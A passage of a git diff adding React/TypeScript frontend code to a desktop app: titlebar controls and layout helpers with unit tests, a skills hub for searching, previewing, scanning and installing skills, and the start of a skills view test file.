+  useEffect(() => {
+    const sync = (event: KeyboardEvent) => setHeld(event.metaKey || event.ctrlKey)
+    const clear = () => setHeld(false)
+
+    window.addEventListener('keydown', sync)
+    window.addEventListener('keyup', sync)
+    window.addEventListener('blur', clear)
+
+    return () => {
+      window.removeEventListener('keydown', sync)
+      window.removeEventListener('keyup', sync)
+      window.removeEventListener('blur', clear)
+    }
+  }, [])
+
+  return held
+}
+
+export function TitlebarControls({ leftTools = [], tools = [], onOpenSettings }: TitlebarControlsProps) {
+  const { t } = useI18n()
+  const navigate = useNavigate()
+  const location = useLocation()
+  const modHeld = useModifierHeld()
+  const hapticsMuted = useStore($hapticsMuted)
+  const fileBrowserOpen = useStore($fileBrowserOpen)
+  const sidebarOpen = useStore($sidebarOpen)
+
+  const toggleHaptics = () => {
+    if (!hapticsMuted) {
+      triggerHaptic('tap')
+    }
+
+    toggleHapticsMuted()
+
+    if (hapticsMuted) {
+      window.requestAnimationFrame(() => triggerHaptic('success'))
+    }
+  }
+
+  // POSITIONAL toggles: each button shows/hides everything on its physical
+  // side of the main zone (the layout tree collapses the whole side), so they
+  // stay correct through flips and rearranges. $sidebarOpen ≙ left side,
+  // $fileBrowserOpen ≙ right side. Never an active highlight — plain
+  // show/hide affordances.
+  const leftEdge = { open: sidebarOpen, toggle: toggleSidebarOpen }
+  const rightEdge = { open: fileBrowserOpen, toggle: toggleFileBrowserOpen }
+
+  const leftToolbarTools: TitlebarTool[] = [
+    {
+      actionId: 'view.toggleSidebar',
+      icon: <Codicon name="layout-sidebar-left" />,
+      id: 'sidebar',
+      label: leftEdge.open ? t.titlebar.hideSidebar : t.titlebar.showSidebar,
+      onSelect: () => {
+        triggerHaptic('tap')
+        leftEdge.toggle()
+      }
+    },
+    {
+      actionId: 'view.flipPanes',
+      icon: <Codicon name="arrow-swap" />,
+      id: 'flip-panes',
+      label: t.titlebar.swapSidebarSides,
+      onSelect: () => {
+        triggerHaptic('tap')
+        togglePanesFlipped()
+      }
+    },
+    ...leftTools
+  ]
+
+  const rightSidebarTool: TitlebarTool = {
+    actionId: 'view.toggleRightSidebar',
+    icon: <Codicon name="layout-sidebar-right" />,
+    id: 'right-sidebar',
+    label: rightEdge.open ? t.titlebar.hideRightSidebar : t.titlebar.showRightSidebar,
+    onSelect: () => {
+      triggerHaptic('tap')
+      rightEdge.toggle()
+    }
+  }
+
+  // Static system tools — always pinned to the screen's right edge.
+  const systemTools: TitlebarTool[] = [
+    {
+      className: 'group/tool',
+      // Hover + held ⌘/Ctrl morphs the glyph into its reset form (see
+      // LayoutGlyph) — the mod-click telegraphs itself before it happens.
+      icon: <LayoutGlyph modHeld={modHeld} />,
+      id: 'layout',
+      label: t.titlebar.layoutEditor,
+      onSelect: event => {
+        if (event?.metaKey || event?.ctrlKey) {
+          triggerHaptic('warning')
+          resetLayoutTree()
+
+          return
+        }
+
+        triggerHaptic('open')
+        toggleLayoutEditMode()
+      },
+      title: t.titlebar.layoutEditorTitle
+    },
+    {
+      active: hapticsMuted,
+      icon: <Codicon name={hapticsMuted ? 'mute' : 'unmute'} />,
+      id: 'haptics',
+      label: hapticsMuted ? t.titlebar.unmuteHaptics : t.titlebar.muteHaptics,
+      onSelect: toggleHaptics
+    },
+    {
+      actionId: 'keybinds.openPanel',
+      icon: <Codicon name="keyboard" />,
+      id: 'keybinds',
+      label: t.titlebar.openKeybinds,
+      onSelect: () => {
+        triggerHaptic('open')
+        navigate(`${SETTINGS_ROUTE}?tab=keybinds`)
+      }
+    },
+    {
+      actionId: 'nav.settings',
+      icon: <Codicon name="settings-gear" />,
+      id: 'settings',
+      label: t.titlebar.openSettings,
+      onSelect: () => {
+        triggerHaptic('open')
+        onOpenSettings()
+      }
+    }
+  ]
+
+  // While a full-screen overlay (settings, command center, …) is open it should
+  // visually own the window. These control clusters are `fixed` at a higher
+  // z-index than the overlay card, so they'd otherwise bleed over it — hide them
+  // and let the overlay's own chrome (close button, drag region) take over.
+  if (isOverlayView(appViewForPath(location.pathname))) {
+    return null
+  }
+
+  const visibleSystemTools = systemTools.filter(tool => !tool.hidden)
+  const visiblePaneTools = tools.filter(tool => !tool.hidden)
+
+  return (
+    <>
+      <div
+        aria-label={t.shell.windowControls}
+        className="fixed left-(--titlebar-controls-left) top-(--titlebar-controls-top) z-70 flex translate-y-0.5 flex-row items-center gap-x-1 pointer-events-auto select-none [-webkit-app-region:no-drag]"
+      >
+        {leftToolbarTools
+          .filter(tool => !tool.hidden)
+          .map(tool => (
+            <TitlebarToolButton key={tool.id} navigate={navigate} tool={tool} />
+          ))}
+      </div>
+
+      {/*
+        Pane-scoped tools (preview's monitor / devtools / refresh / X) render
+        as their own fixed cluster. AppShell sets --shell-preview-toolbar-gap
+        to either the static cluster's width (file-browser closed → cluster
+        sits flush against system tools) or the file-browser pane's width
+        (file-browser open → cluster sits flush against the file-browser pane,
+        i.e. at the preview pane's right edge). No margin hacks needed.
+      */}
+      {visiblePaneTools.length > 0 && (
+        <div
+          aria-label={t.shell.paneControls}
+          className="fixed top-[calc(var(--titlebar-controls-top)+var(--right-rail-top-inset,0px))] right-[calc(var(--titlebar-tools-right)+var(--shell-preview-toolbar-gap,0))] z-70 flex flex-row items-center gap-x-1 pointer-events-auto select-none [-webkit-app-region:no-drag]"
+        >
+          {visiblePaneTools.map(tool => (
+            <TitlebarToolButton key={tool.id} navigate={navigate} tool={tool} />
+          ))}
+        </div>
+      )}
+
+      <div
+        aria-label={t.shell.appControls}
+        className="fixed right-(--titlebar-tools-right) top-(--titlebar-controls-top) z-70 flex flex-row items-center justify-end gap-x-1 pointer-events-auto select-none [-webkit-app-region:no-drag]"
+      >
+        {visibleSystemTools.map(tool => (
+          <TitlebarToolButton key={tool.id} navigate={navigate} tool={tool} />
+        ))}
+        <TitlebarToolButton navigate={navigate} tool={rightSidebarTool} />
+      </div>
+    </>
+  )
+}
+
+function TitlebarToolButton({ navigate, tool }: { navigate: ReturnType<typeof useNavigate>; tool: TitlebarTool }) {
+  // Titlebar actions never show an active background — state reads from the
+  // icon itself (e.g. the mute/unmute glyph). aria-pressed still carries it
+  // for a11y.
+  const className = cn(titlebarButtonClass, 'bg-transparent select-none', tool.className)
+
+  const tooltipLabel = tool.actionId ? (
+    <TipKeybindLabel actionId={tool.actionId} text={tool.title ?? tool.label} />
+  ) : (
+    (tool.title ?? tool.label)
+  )
+
+  if (tool.href) {
+    return (
+      <Tip label={tooltipLabel}>
+        <Button asChild className={className} size="icon-titlebar" variant="ghost">
+          <a
+            aria-label={tool.label}
+            href={tool.href}
+            onPointerDown={event => event.stopPropagation()}
+            rel="noreferrer"
+            target="_blank"
+          >
+            {tool.icon}
+          </a>
+        </Button>
+      </Tip>
+    )
+  }
+
+  return (
+    <Tip label={tooltipLabel}>
+      <Button
+        aria-label={tool.label}
+        aria-pressed={tool.active ?? undefined}
+        className={className}
+        disabled={tool.disabled}
+        onClick={event => {
+          if (tool.to) {
+            navigate(tool.to)
+          }
+
+          tool.onSelect?.(event)
+        }}
+        onPointerDown={event => event.stopPropagation()}
+        size="icon-titlebar"
+        type="button"
+        variant="ghost"
+      >
+        {tool.icon}
+      </Button>
+    </Tip>
+  )
+}
diff --git a/ui-desktop/src/app/shell/titlebar.test.ts b/ui-desktop/src/app/shell/titlebar.test.ts
new file mode 100644
index 000000000..8b6f2d867
--- /dev/null
+++ b/ui-desktop/src/app/shell/titlebar.test.ts
@@ -0,0 +1,26 @@
+import { describe, expect, it } from 'vitest'
+
+import {
+  TITLEBAR_CONTROL_OFFSET_X,
+  TITLEBAR_EDGE_INSET,
+  TITLEBAR_FALLBACK_WINDOW_BUTTON_X,
+  titlebarControlsPosition
+} from './titlebar'
+
+describe('titlebarControlsPosition', () => {
+  it('offsets controls from visible traffic lights', () => {
+    expect(titlebarControlsPosition({ x: 24, y: 10 }).left).toBe(24 + TITLEBAR_CONTROL_OFFSET_X)
+  })
+
+  it('pins to the edge when macOS fullscreen hides traffic lights', () => {
+    expect(titlebarControlsPosition({ x: 24, y: 10 }, true).left).toBe(TITLEBAR_EDGE_INSET)
+  })
+
+  it('pins to the edge on Windows/Linux where native controls render on the right', () => {
+    expect(titlebarControlsPosition(null).left).toBe(TITLEBAR_EDGE_INSET)
+  })
+
+  it('uses the macOS fallback while the initial window state is unknown', () => {
+    expect(titlebarControlsPosition(undefined).left).toBe(TITLEBAR_FALLBACK_WINDOW_BUTTON_X + TITLEBAR_CONTROL_OFFSET_X)
+  })
+})
diff --git a/ui-desktop/src/app/shell/titlebar.ts b/ui-desktop/src/app/shell/titlebar.ts
new file mode 100644
index 000000000..03703f2b9
--- /dev/null
+++ b/ui-desktop/src/app/shell/titlebar.ts
@@ -0,0 +1,48 @@
+import type { ClawCodexConnection } from '@/global'
+
+export const TITLEBAR_HEIGHT = 34
+export const MACOS_TRAFFIC_LIGHTS_HEIGHT = 14
+export const TITLEBAR_ICON_SIZE = 12
+export const TITLEBAR_CONTROL_OFFSET_X = 74
+export const TITLEBAR_CONTROL_HEIGHT = 22
+export const TITLEBAR_CONTROLS_TOP = (TITLEBAR_HEIGHT - TITLEBAR_CONTROL_HEIGHT) / 2
+export const TITLEBAR_FALLBACK_WINDOW_BUTTON_X = 24
+// Edge inset used when no left-side native controls take up that space —
+// Windows/Linux (native overlay is on the right) and macOS fullscreen
+// (traffic lights are hidden). Matches the right-cluster's 0.75rem padding.
+export const TITLEBAR_EDGE_INSET = 14
+
+// Titlebar palette only. All sizing/radius/cursor/centering come from the
+// shared <Button size="icon-titlebar"> (used polymorphically via asChild) —
+// Button is the single source of button styling.
+export const titlebarButtonClass =
+  'text-muted-foreground/85 hover:bg-(--ui-control-hover-background) hover:text-foreground'
+
+export const titlebarHeaderBaseClass =
+  'pointer-events-none relative z-3 flex h-(--titlebar-height) w-full min-w-0 shrink-0 items-center justify-start gap-3 overflow-hidden border-b border-(--ui-stroke-tertiary) bg-(--ui-chat-surface-background) px-[max(0.75rem,var(--titlebar-content-inset,0rem))] pr-[calc(var(--titlebar-tools-right,0.75rem)+var(--titlebar-tools-width,0px)+0.75rem)]'
+
+// Title row inside the header — must stay in the flex truncate chain.
+export const titlebarHeaderTitleClass = 'min-w-0 flex-1 overflow-hidden'
+
+export const titlebarHeaderShadowClass =
+  "after:pointer-events-none after:absolute after:left-0 after:right-0 after:top-full after:h-4 after:bg-linear-to-b after:from-(--ui-chat-surface-background) after:to-transparent after:content-['']"
+
+export function titlebarControlsPosition(
+  windowButtonPosition: ClawCodexConnection['windowButtonPosition'] | undefined,
+  isFullscreen = false
+) {
+  const top = Math.max(0, TITLEBAR_CONTROLS_TOP)
+
+  // No left-side native controls to dodge:
+  //   - Windows/Linux: native min/max/close render on the right via titleBarOverlay.
+  //   - macOS fullscreen: traffic lights are hidden.
+  // In both cases, pin the cluster to the edge with a small inset.
+  if (windowButtonPosition === null || isFullscreen) {
+    return { left: TITLEBAR_EDGE_INSET, top }
+  }
+
+  return {
+    left: (windowButtonPosition?.x ?? TITLEBAR_FALLBACK_WINDOW_BUTTON_X) + TITLEBAR_CONTROL_OFFSET_X,
+    top
+  }
+}
diff --git a/ui-desktop/src/app/skills/hub.tsx b/ui-desktop/src/app/skills/hub.tsx
new file mode 100644
index 000000000..3e8f3ad3e
--- /dev/null
+++ b/ui-desktop/src/app/skills/hub.tsx
@@ -0,0 +1,468 @@
+import { useStore } from '@nanostores/react'
+import { useQueries, useQuery } from '@tanstack/react-query'
+import { useCallback, useMemo, useState } from 'react'
+
+import { useDebounced } from '@/app/hooks/use-debounced'
+import { DetailPane } from '@/app/master-detail'
+import {
+  getSkillHubSources,
+  previewSkillHub,
+  scanSkillHub,
+  searchSkillsHub,
+  type SkillHubResult,
+  type SkillHubScanResult
+} from '@/clawcodex'
+import { LogTail } from '@/components/chat/log-tail'
+import { PageLoader } from '@/components/page-loader'
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import { useI18n } from '@/i18n'
+import { stripAnsi } from '@/lib/ansi'
+import { Loader2 } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import {
+  $hubActions,
+  $hubActiveLog,
+  $hubInstalledOverride,
+  closeHubLog,
+  HUB_SOURCES_KEY,
+  installHubSkill,
+  uninstallHubSkill,
+  UPDATE_ALL_KEY,
+  updateHubSkills
+} from '@/store/hub-actions'
+import { notify, notifyError } from '@/store/notifications'
+
+// Dedup rank when the same skill surfaces from multiple sources — higher trust
+// wins. Mirrors the backend's unified_search `_TRUST_RANK`.
+const TRUST_RANK: Record<string, number> = { builtin: 2, trusted: 1, community: 0 }
+
+function trustTone(level: string): string {
+  switch (level) {
+    case 'builtin':
+      return 'bg-(--ui-bg-tertiary) text-(--ui-text-secondary)'
+
+    case 'trusted':
+      return 'bg-emerald-500/15 text-emerald-400'
+
+    default:
+      return 'bg-amber-500/15 text-amber-400'
+  }
+}
+
+function verdictTone(policy: string): string {
+  switch (policy) {
+    case 'allow':
+      return 'text-emerald-400'
+
+    case 'block':
+      return 'text-destructive'
+
+    default:
+      return 'text-amber-400'
+  }
+}
+
+// One hub result — a self-contained row that installs/uninstalls ITSELF and
+// reads its own action status from the store, so parallel installs never desync.
+// `rawInstalled` is the sources/search truth; the store's optimistic override
+// wins so the row flips the instant its own action resolves.
+function HubSkillRow({
+  installedName,
+  onPreview,
+  rawInstalled,
+  skill
+}: {
+  installedName: null | string
+  onPreview: (skill: SkillHubResult) => void
+  rawInstalled: boolean
+  skill: SkillHubResult
+}) {
+  const { t } = useI18n()
+  const h = t.skills.hub
+  const action = useStore($hubActions)[skill.identifier]
+  const override = useStore($hubInstalledOverride)[skill.identifier]
+  const installed = override ?? rawInstalled
+  const running = action?.running ?? false
+
+  const doInstall = () => {
+    notify({ kind: 'success', title: h.installStarted(skill.name), message: h.actionLog })
+    void installHubSkill(skill.identifier).catch(err => notifyError(err, h.actionFailed))
+  }
+
+  const doUninstall = () => {
+    notify({ kind: 'success', title: h.uninstallStarted(skill.name), message: h.actionLog })
+    void uninstallHubSkill(skill.identifier, installedName || skill.name).catch(err => notifyError(err, h.actionFailed))
+  }
+
+  return (
+    <div className="row-hover flex items-start gap-3 rounded-md px-2 py-2.5">
+      <div className="min-w-0 flex-1">
+        <div className="flex flex-wrap items-center gap-1.5">
+          <span className="truncate text-[0.78rem] font-medium text-foreground/85">{skill.name}</span>
+          <span className={cn('rounded px-1.5 py-0.5 text-[0.6rem]', trustTone(skill.trust_level))}>
+            {h.trust[skill.trust_level] ?? skill.trust_level}
+          </span>
+          {installed && <span className="text-[0.6rem] text-emerald-400">{h.installed}</span>}
+        </div>
+        <p className="mt-0.5 line-clamp-2 text-[0.68rem] text-muted-foreground/70">{skill.description}</p>
+      </div>
+      <div className="flex shrink-0 items-center gap-1">
+        <Button onClick={() => onPreview(skill)} size="xs" variant="text">
+          {h.preview}
+        </Button>
+        {installed ? (
+          <Button className="hover:text-destructive" disabled={running} onClick={doUninstall} size="xs" variant="text">
+            {running && <Loader2 className="size-3 animate-spin" />}
+            {running ? h.uninstalling : h.uninstall}
+          </Button>
+        ) : (
+          <Button disabled={running} onClick={doInstall} size="xs" variant="textStrong">
+            {running && <Loader2 className="size-3 animate-spin" />}
+            {running ? h.installing : h.install}
+          </Button>
+        )}
+      </div>
+    </div>
+  )
+}
+
+interface SkillsHubProps {
+  query: string
+}
+
+export function SkillsHub({ query }: SkillsHubProps) {
+  const { t } = useI18n()
+  const h = t.skills.hub
+
+  // Sources + featured + the installed map — one cached fetch, revalidated on
+  // mount and re-fetched (from the store) after an action lands.
+  const sourcesQuery = useQuery({
+    queryKey: HUB_SOURCES_KEY,
+    queryFn: getSkillHubSources,
+    staleTime: 5 * 60_000
+  })
+
+  // Debounced hub search, keyed on the settled query so RQ dedupes/caches per
+  // term and abandons stale terms for us (no hand-rolled sequence guard).
+  const term = useDebounced(query.trim(), 350)
+
+  // Progressive per-source search: one query per source the backend says is
+  // worth hitting individually (it marks index-covered API sources unsearchable
+  // so we don't re-hammer ~70 GitHub calls). Each resolves independently, so the
+  // list fills in as sources return instead of blocking on the slowest one, and
+  // each source shows its own spinner. Stale terms key out and are abandoned.
+  const searchableSources = useMemo(
+    () => (sourcesQuery.data?.sources ?? []).filter(source => source.searchable !== false),
+    [sourcesQuery.data]
+  )
+
+  const sourceSearches = useQueries({
+    queries: searchableSources.map(source => ({
+      queryKey: ['skill-hub-search', term, source.id],
+      queryFn: () => searchSkillsHub(term, source.id),
+      enabled: term.length > 0,
+      staleTime: 60_000
+    }))
+  })
+
+  // Per-item action lifecycle + log live in the store (store/hub-actions): each
+  // row reads ITS own entry, so concurrent installs never desync each other,
+  // and an optimistic installed-override flips a row the instant its own action
+  // resolves rather than racing the sources refetch.
+  const actions = useStore($hubActions)
+  const overrides = useStore($hubInstalledOverride)
+  const activeLogKey = useStore($hubActiveLog)
+  const activeLog = activeLogKey ? actions[activeLogKey] : undefined
+
+  // Preview/scan dialog. Preview is cache-worthy (keyed by identifier); scan is
+  // an explicit, on-demand security pass so it stays imperative.
+  const [detail, setDetail] = useState<null | SkillHubResult>(null)
+  const [scan, setScan] = useState<null | SkillHubScanResult>(null)
+  const [scanning, setScanning] = useState(false)
+
+  const previewQuery = useQuery({
+    queryKey: ['skill-hub-preview', detail?.identifier],
+    queryFn: () => previewSkillHub(detail!.identifier),
+    enabled: detail !== null,
+    staleTime: 5 * 60_000
+  })
+
+  const install = useCallback(
+    (identifier: string, name: string) => {
+      setDetail(null)
+      notify({ kind: 'success', title: h.installStarted(name), message: h.actionLog })
+      void installHubSkill(identifier).catch(err => notifyError(err, h.actionFailed))
+    },
+    [h]
+  )
+
+  const updateAll = useCallback(() => {
+    notify({ kind: 'success', title: h.updateStarted, message: h.actionLog })
+    void updateHubSkills().catch(err => notifyError(err, h.actionFailed))
+  }, [h])
+
+  const runScan = useCallback(
+    (identifier: string) => {
+      setScanning(true)
+      scanSkillHub(identifier)
+        .then(setScan)
+        .catch(err => notifyError(err, h.scanFailed))
+        .finally(() => setScanning(false))
+    },
+    [h]
+  )
+
+  const openDetail = useCallback((skill: SkillHubResult) => {
+    setDetail(skill)
+    setScan(null)
+  }, [])
+
+  // Per-source progress, keyed by source id (drives the connected-hub chips'
+  // spinner/degraded tint while a search is streaming in).
+  const searchStateById = new Map<string, { failed: boolean; fetching: boolean }>()
+  searchableSources.forEach((source, i) => {
+    const q = sourceSearches[i]
+    searchStateById.set(source.id, { failed: q.isError, fetching: term.length > 0 && q.isFetching })
+  })
+
+  // Merge every source's results, deduped by identifier preferring higher trust
+  // (mirrors the backend's unified_search rank). Recomputes as each source lands.
+  const results = useMemo(() => {
+    const seen = new Map<string, SkillHubResult>()
+
+    for (const q of sourceSearches) {
+      for (const r of q.data?.results ?? []) {
+        const prev = seen.get(r.identifier)
+
+        if (!prev || (TRUST_RANK[r.trust_level] ?? 0) > (TRUST_RANK[prev.trust_level] ?? 0)) {
+          seen.set(r.identifier, r)
+        }
+      }
+    }
+
+    return [...seen.values()].sort(
+      (a, b) => (TRUST_RANK[b.trust_level] ?? 0) - (TRUST_RANK[a.trust_level] ?? 0) || a.name.localeCompare(b.name)
+    )
+  }, [sourceSearches])
+
+  // Installed map: sources seeds it, search results patch it (a term can surface
+  // installs the sources list didn't feature); the optimistic override wins so a
+  // just-(un)installed row reflects its own outcome without the refetch race.
+  const installed = { ...(sourcesQuery.data?.installed ?? {}) }
+
+  for (const q of sourceSearches) {
+    Object.assign(installed, q.data?.installed ?? {})
+  }
+
+  const isInstalled = (identifier: string) => overrides[identifier] ?? Boolean(installed[identifier])
+
+  const sources = sourcesQuery.data?.sources ?? []
+  const featured = sourcesQuery.data?.featured ?? []
+
+  // Still fetching from at least one source; "done" only once every source has
+  // settled (so "No results" doesn't flash while slower sources are still in).
+  const anyFetching = term.length > 0 && sourceSearches.some(q => q.isFetching)
+  const searched = term.length > 0 && sourceSearches.length > 0 && sourceSearches.every(q => !q.isFetching)
+  const showLanding = term.length === 0
+  const listed = showLanding ? featured : results
+  // Only block the whole pane on the first sources landing; after that results
+  // stream in progressively while a subtle footer shows more are coming.
+  const searching = anyFetching && results.length === 0
+  const hasInstalled = Object.keys(installed).length > 0
+
+  return (
+    <div className="flex h-full min-h-0 flex-col">
+      {/* Connected hubs — label on its own line, chips below, roomy padding. */}
+      <div className="shrink-0 px-4 pt-5 pb-8 text-[0.68rem] text-(--ui-text-tertiary)">
+        <span className="mb-1.5 block">{h.connectedHubs}</span>
+        <div className="flex flex-wrap items-center gap-1.5">
+          {sourcesQuery.isLoading
+            ? null
+            : sources.map(source => {
+                const state = searchStateById.get(source.id)
+                const degraded = source.available === false || source.rate_limited === true || state?.failed
+                const fetching = state?.fetching ?? false
+
+                return (
+                  <span
+                    className={cn(
+                      'relative rounded px-1.5 py-0.5 text-[0.6rem] transition-opacity',
+                      degraded ? 'bg-amber-500/15 text-amber-400' : 'bg-(--ui-bg-tertiary) text-(--ui-text-secondary)',
+                      // While searching, un-hit sources dim so the active ones read clearly.
+                      term.length > 0 && !fetching && !state?.failed && 'opacity-55'
+                    )}
+                    key={source.id}
+                  >
+                    {/* Spinner overlays the (dimmed) label rather than pushing it,
+                        so a chip never resizes as its search starts/finishes. */}
+                    <span className={cn(fetching && 'opacity-30')}>{source.label}</span>
+                    {fetching && (
+                      <span className="absolute inset-0 grid place-items-center">
+                        <Loader2 className="size-2.5 animate-spin" />
+                      </span>
+                    )}
+                  </span>
+                )
+              })}
+        </div>
+      </div>
+
+      {/* Result summary (left) + Update installed (right) — only when a results
+          table is actually on screen, and update only if something's installed. */}
+      {listed.length > 0 && (
+        <div className="flex shrink-0 items-center justify-between gap-3 px-4 pb-1.5 text-[0.68rem] text-(--ui-text-tertiary)">
+          <span className="min-w-0 truncate">
+            {term.length > 0 ? h.resultCount(results.length, null) : h.featured}
+            {anyFetching && results.length > 0 && (
+              <span className="ml-2 text-(--ui-text-quaternary)">{h.searching}</span>
+            )}
+          </span>
+
+          {hasInstalled && (
+            <Button
+              className="shrink-0"
+              disabled={actions[UPDATE_ALL_KEY]?.running}
+              onClick={updateAll}
+              size="xs"
+              variant="text"
+            >
+              {actions[UPDATE_ALL_KEY]?.running && <Loader2 className="size-3 animate-spin" />}
+              {actions[UPDATE_ALL_KEY]?.running ? h.updating : h.updateAll}
+            </Button>
+          )}
+        </div>
+      )}
+
+      {/* Scrollable results. */}
+      <div className="min-h-0 flex-1 overflow-y-auto px-4 pb-4 [scrollbar-gutter:stable]">
+        {searching ? (
+          <div className="grid min-h-40 place-items-center">
+            <PageLoader label={h.searching} />
+          </div>
+        ) : listed.length === 0 ? (
+          <div className="grid min-h-40 place-items-center px-6 text-center">
+            <p className="max-w-md text-[0.72rem] text-(--ui-text-tertiary)">
+              {searched ? h.noResults : h.landingHint}
+            </p>
+          </div>
+        ) : (
+          <div className="flex flex-col">
+            {listed.map(skill => (
+              <HubSkillRow
+                installedName={installed[skill.identifier]?.name ?? null}
+                key={skill.identifier}
+                onPreview={openDetail}
+                rawInstalled={Boolean(installed[skill.identifier])}
+                skill={skill}
+              />
+            ))}
+          </div>
+        )}
+      </div>
+
+      {/* Action log — same resizable, flush-width bottom pane + LogTail surface
+          as the MCP logs. ANSI stripped so spawn output reads clean. Tails the
+          latest-started action ($hubActiveLog). */}
+      {activeLogKey && (
+        <DetailPane
+          defaultCollapsed
+          defaultHeight={176}
+          id="hub-action-log"
+          onClose={closeHubLog}
+          title={
+            <span className="flex items-center gap-1.5 text-[0.68rem] font-normal text-muted-foreground/60">
+              {h.actionLog}
+              {activeLog?.running && <Codicon name="loading" size="0.75rem" spinning />}
+            </span>
+          }
+        >
+          <LogTail emptyLabel={h.searching} lines={activeLog?.lines.length ? activeLog.lines.map(stripAnsi) : null} />
+        </DetailPane>
+      )}
+
+      <Dialog onOpenChange={open => !open && setDetail(null)} open={detail !== null}>
+        <DialogContent bodyClassName="overflow-hidden" className="max-h-[80vh] max-w-2xl">
+          {detail && (
+            <>
+              <DialogHeader>
+                <DialogTitle className="flex items-center gap-2">
+                  <span className="truncate">{detail.name}</span>
+                  <Badge className={trustTone(detail.trust_level)}>
+                    {h.trust[detail.trust_level] ?? detail.trust_level}
+                  </Badge>
+                </DialogTitle>
+                <DialogDescription className="truncate">{detail.identifier}</DialogDescription>
+              </DialogHeader>
+
+              <div className="min-h-0 space-y-3 overflow-y-auto">
+                {scan && (
+                  <div className="rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) p-3 text-xs">
+                    <div className={cn('font-medium', verdictTone(scan.policy))}>
+                      {scan.policy === 'allow' ? h.policyAllow : scan.policy === 'block' ? h.policyBlock : h.policyAsk}
+                      {' · '}
+                      {scan.verdict === 'safe'
+                        ? h.verdictSafe
+                        : scan.verdict === 'dangerous'
+                          ? h.verdictDangerous
+                          : h.verdictCaution}
+                    </div>
+                    <div className="mt-1 text-muted-foreground">
+                      {scan.findings.length === 0 ? h.noFindings : h.findings(scan.findings.length)}
+                    </div>
+                    {scan.findings.slice(0, 12).map((finding, index) => (
+                      <div className="mt-1.5 font-mono text-[0.65rem] text-(--ui-text-tertiary)" key={index}>
+                        [{finding.severity}] {finding.file}
+                        {finding.line !== null ? `:${finding.line}` : ''} — {finding.description}
+                      </div>
+                    ))}
+                  </div>
+                )}
+
+                {previewQuery.isLoading ? (
+                  <PageLoader className="min-h-32" label={h.searching} />
+                ) : previewQuery.data ? (
+                  <>
+                    <pre
+                      className="max-h-72 overflow-auto whitespace-pre-wrap wrap-break-word rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) p-3 font-mono text-[0.68rem] leading-relaxed"
+                      data-selectable-text="true"
+                    >
+                      {previewQuery.data.skill_md || h.noReadme}
+                    </pre>
+                    {previewQuery.data.files.length > 0 && (
+                      <div className="text-xs text-muted-foreground">
+                        <span className="font-medium">{h.files}:</span> {previewQuery.data.files.join(', ')}
+                      </div>
+                    )}
+                  </>
+                ) : null}
+              </div>
+
+              <DialogFooter>
+                <Button disabled={scanning} onClick={() => runScan(detail.identifier)} size="sm" variant="text">
+                  {scanning ? h.scanning : h.scan}
+                </Button>
+                <Button
+                  disabled={actions[detail.identifier]?.running || isInstalled(detail.identifier)}
+                  onClick={() => install(detail.identifier, detail.name)}
+                  size="sm"
+                >
+                  {isInstalled(detail.identifier) ? h.installed : h.install}
+                </Button>
+              </DialogFooter>
+            </>
+          )}
+        </DialogContent>
+      </Dialog>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/skills/index.test.tsx b/ui-desktop/src/app/skills/index.test.tsx
new file mode 100644
index 000000000..acac5e934
--- /dev/null
+++ b/ui-desktop/src/app/skills/index.test.tsx
@@ -0,0 +1,157 @@
+// @vitest-environment jsdom
+import { QueryClientProvider } from '@tanstack/react-query'
+import { act, cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { MemoryRouter } from 'react-router'
+import type * as ReactRouterDom from 'react-router'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type * as ClawCodexApi from '@/clawcodex'
+import { queryClient } from '@/lib/query-client'
+
+const getSkills = vi.fn()
+const getToolsets = vi.fn()
+const setSkillEnabled = vi.fn()
+const setToolsetEnabled = vi.fn()
+const getToolsetConfig = vi.fn()
+const selectToolsetProvider = vi.fn()
+const getUsageAnalytics = vi.fn()
+
+// Partial mock: keep the real module (SkillsView pulls in @/store/profile,
+// whose import-time subscription calls setApiRequestProfile) and stub only the
+// calls we assert on.
+vi.mock('@/clawcodex', async importOriginal => ({
+  ...(await importOriginal<typeof ClawCodexApi>()),
+  getSkills: () => getSkills(),
+  getToolsets: () => getToolsets(),
+  setSkillEnabled: (name: string, enabled: boolean) => setSkillEnabled(name, enabled),
+  setToolsetEnabled: (name: string, enabled: boolean) => setToolsetEnabled(name, enabled),
+  getToolsetConfig: (name: string) => getToolsetConfig(name),
+  selectToolsetProvider: (toolset: string, provider: string) => selectToolsetProvider(toolset, provider),
+  getUsageAnalytics: (days: number) => getUsageAnalytics(days)
+}))
+
+// Notifications hit nanostores/timers we don't care about here.
+vi.mock('@/store/notifications', () => ({
+  notify: vi.fn(),
+  notifyError: vi.fn()
+}))
+
+// The vision detail navigates to Settings → Models via useNavigate; spy on it
+// so the deep-link target is assertable.
+const navigateSpy = vi.fn()
+
+vi.mock('react-router', async importOriginal => ({
+  ...(await importOriginal<typeof ReactRouterDom>()),
+  useNavigate: () => navigateSpy
+}))
+
+function toolset(overrides: Record<string, unknown> = {}) {
+  return {
+    name: 'web',
+    label: 'Web Search',
+    description: 'web_search, web_extract',
+    enabled: true,
+    available: true,
+    configured: true,
+    tools: ['web_search', 'web_extract'],
+    ...overrides
+  }
+}
+
+async function renderSkills() {
+  const { SkillsView } = await import('./index')
+  let result: ReturnType<typeof render>
+  await act(async () => {
+    result = render(
+      // SkillsView reads skills/toolsets via useQuery, so it needs a provider.
+      <QueryClientProvider client={queryClient}>
+        <MemoryRouter initialEntries={['/skills?tab=toolsets']}>
+          <SkillsView />
+        </MemoryRouter>
+      </QueryClientProvider>
+    )
+  })
+
+  return result!
+}
+
+beforeEach(() => {
+  getSkills.mockResolvedValue([])
+  getToolsets.mockResolvedValue([toolset()])
+  setToolsetEnabled.mockResolvedValue({ ok: true, name: 'web', enabled: false })
+  getToolsetConfig.mockResolvedValue({ has_category: true, active_provider: null, providers: [] })
+  getUsageAnalytics.mockResolvedValue({ tools: [] })
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
